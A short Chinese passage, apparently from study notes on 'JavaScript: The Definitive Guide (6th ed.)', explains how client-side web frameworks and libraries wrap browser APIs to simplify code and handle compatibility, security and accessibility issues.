一些Web开发者发现基于客户端框架或类库来创建它们的Web应用非常便捷,从某种意义上来讲类库也是框架,它们对Web浏览器提供的标准和专用API进行了封装,向上提供更高级别的API,用以更高效地进行客户端变成开发。一旦使用一个框架,就要用框架定义的API来写代码,使用框架的一个明显的好处是高级的API可以用更简洁的代码完成更复杂的功能。此外,完善的框架也会帮我们处理上文提到的很多兼容性、安全性和可访问性问题。


参考文献

  1. 《JavaScript权威指南(第6版)》